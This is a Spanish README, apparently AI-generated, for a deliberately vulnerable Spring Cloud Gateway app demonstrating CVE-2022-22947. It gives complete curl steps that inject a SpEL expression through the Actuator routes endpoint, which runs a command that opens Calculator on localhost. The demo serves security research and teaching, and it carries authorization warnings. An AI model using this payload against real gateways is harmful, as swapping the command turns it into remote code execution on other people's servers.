
Una aplicación de verificación de vulnerabilidades generada por IA
Esta es una aplicación Spring Cloud Gateway diseñada específicamente para demostrar y verificar la vulnerabilidad CVE-2022-22947. La aplicación utiliza una versión vulnerable de Spring Cloud Gateway y puede ejecutar código arbitrario a través del endpoint Actuator.
CVE-2022-22947 es una vulnerabilidad de ejecución remota de código en Spring Cloud Gateway. Un atacante puede ejecutar código arbitrario agregando dinámicamente rutas que contengan expresiones SpEL maliciosas a través del endpoint Actuator.
mvn spring-boot:run
La aplicación se iniciará en http://localhost:8080.
Envíe una solicitud POST al endpoint /actuator/gateway/routes/test para agregar una ruta que contenga una expresión SpEL maliciosa:
curl -X POST http://localhost:8080/actuator/gateway/routes/test \
-H "Content-Type: application/json" \
-d '{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}'
Envíe una solicitud POST al endpoint /actuator/gateway/refresh para refrescar las rutas:
curl -X POST http://localhost:8080/actuator/gateway/refresh
Acceda a la ruta maliciosa para desencadenar la ejecución del código:
curl http://localhost:8080/test
Después de explotar exitosamente la vulnerabilidad, se iniciará la aplicación Calculadora de macOS.
Endpoint: POST /actuator/gateway/routes/test
Encabezados de la solicitud:
Content-Type: application/json
Cuerpo de la solicitud:
{
"id": "test",
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new java.lang.ProcessBuilder(\"open\", \"-a\", \"Calculator\").start()}"
}
}
],
"uri": "http://example.com",
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/test"
}
}
]
}
Endpoint: POST /actuator/gateway/refresh
Endpoint: GET /test
Esta vulnerabilidad permite a un atacante agregar rutas dinámicamente a través del endpoint Actuator y ejecutar código arbitrario utilizando expresiones SpEL en los filtros de las rutas. El núcleo de la vulnerabilidad radica en que Spring Cloud Gateway no maneja adecuadamente las expresiones SpEL en la configuración de rutas.
⚠️ Advertencia de seguridad: Esta aplicación es solo para fines educativos y de investigación en seguridad. No utilice ni implemente esta aplicación en un entorno de producción.
⚠️ Aviso legal: Al usar esta aplicación para pruebas de vulnerabilidades, asegúrese de tener la autorización adecuada. Las pruebas no autorizadas pueden violar leyes y regulaciones.